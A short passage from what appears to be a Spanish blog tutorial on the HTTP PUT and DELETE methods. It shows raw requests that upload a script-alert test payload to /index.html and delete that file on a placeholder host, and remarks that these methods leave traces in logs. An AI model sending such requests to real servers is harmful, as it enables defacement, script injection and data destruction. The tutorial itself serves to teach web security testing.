Por contrapartida a PUT encontramos DELETE. Este método, como su propio nombre indica,
tiene la función de eliminar el archivo al que le hace la petición.
PUT /index.html HTTP/1.1
Host: Ficticio.com
Content-Length: 47
<script>alert(“Testeando método PUT”);</script>
DELETE /index.html HTTP/1.1
Host: <host>
User-Agent:
-----Demás campos----
Como podemos ver, DELETE es un método fácil de usar, pero que al igual que put suele aparecer
deshabilitado, y deja también unos rastros enormes en los logs. Tanto DELETE como PUT
necesitan en muchos casos de rellenar el campo “Authorization”, y esto es lo que vamos a ver en
el siguiente capítulo.

Tags

Labels

Blog Archive

Blog Archive